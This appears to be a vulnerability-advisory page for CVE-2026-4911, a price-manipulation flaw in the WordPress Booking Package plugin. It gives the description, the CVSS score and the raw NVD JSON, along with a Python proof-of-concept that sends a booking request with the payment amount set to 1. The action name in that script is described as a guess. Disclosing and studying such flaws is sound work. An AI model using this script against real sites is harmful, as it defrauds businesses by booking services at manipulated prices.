Security Vulnerability Report
中文
CVE-2026-4911 CVSS 5.3 MEDIUM

CVE-2026-4911

Published: 2026-04-28 08:16:02
Last Modified: 2026-04-28 20:26:05

Description

The Booking Package plugin for WordPress is vulnerable to Price Manipulation in versions up to, and including, 1.7.06 This is due to the intentForStripe() function passing user-controlled $_POST['amount'] directly to the Stripe PaymentIntent API without validation, and the commitStripe() function ignoring the server-calculated amount when confirming the payment. While the server correctly calculates the booking cost via getAmount() based on services, guests, taxes, and coupons, this calculated amount is never validated against or used to update the PaymentIntent because the critical code in CreditCard.php that would include the calculated amount in the PaymentIntent update is commented out. This makes it possible for unauthenticated attackers to book services at arbitrary prices (e.g., $0.01 instead of $500.00) by manipulating the amount parameter during PaymentIntent creation and completing the booking with the fraudulent payment.

CVSS Details

CVSS Score
5.3
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N

Configurations (Affected Products)

No configuration data available.

WordPress Booking Package <= 1.7.06

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
import requests def exploit_price_manipulation(target_url, booking_data): """ PoC for CVE-2026-4911: Booking Package Price Manipulation Demonstrates modifying the 'amount' parameter in the request. """ # The vulnerable endpoint usually creates a payment intent endpoint = f"{target_url}/wp-admin/admin-ajax.php" # Normal payment data payload payload = booking_data.copy() # Vulnerability: Manipulating the 'amount' directly # Changing the price to 1 cent (or currency unit) payload['amount'] = 1 payload['action'] = 'booking_package_stripe_intent' # Example action name try: response = requests.post(endpoint, data=payload) if response.status_code == 200: print("[+] Request sent successfully. Check if booking was created with price 1.") print(f"[+] Response: {response.text}") else: print("[-] Request failed.") except Exception as e: print(f"[!] Error: {e}") # Usage target = "http://vulnerable-wordpress-site.com" data = {"service_id": "123", "nonce": "valid_nonce_value"} exploit_price_manipulation(target, data)

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-4911", "sourceIdentifier": "[email protected]", "published": "2026-04-28T08:16:01.967", "lastModified": "2026-04-28T20:26:04.673", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The Booking Package plugin for WordPress is vulnerable to Price Manipulation in versions up to, and including, 1.7.06 This is due to the intentForStripe() function passing user-controlled $_POST['amount'] directly to the Stripe PaymentIntent API without validation, and the commitStripe() function ignoring the server-calculated amount when confirming the payment. While the server correctly calculates the booking cost via getAmount() based on services, guests, taxes, and coupons, this calculated amount is never validated against or used to update the PaymentIntent because the critical code in CreditCard.php that would include the calculated amount in the PaymentIntent update is commented out. This makes it possible for unauthenticated attackers to book services at arbitrary prices (e.g., $0.01 instead of $500.00) by manipulating the amount parameter during PaymentIntent creation and completing the booking with the fraudulent payment."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:L/A:N", "baseScore": 5.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-472"}]}], "references": [{"url": "https://plugins.trac.wordpress.org/browser/booking-package/tags/1.7.04/lib/CreditCard.php#L393", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/booking-package/tags/1.7.04/lib/CreditCard.php#L548", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/booking-package/tags/1.7.04/lib/Schedule.php#L15151", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/booking-package/tags/1.7.04/lib/Schedule.php#L8948", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/booking-package/trunk/lib/CreditCard.php#L390", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/booking-package/trunk/lib/CreditCard.php#L545", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/booking-package/trunk/lib/Schedule.php#L15151", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/booking-package/trunk/lib/Schedule.php#L8942", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/changeset?old_path=%2Fbooking-package/tags/1.7.06&new_path=%2Fbooking-package/tags/1.7.07", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/61d63c5a-6ca6-42d8-ab0a-152d9c95945c?source=cve", "source": "[email protected]"}]}}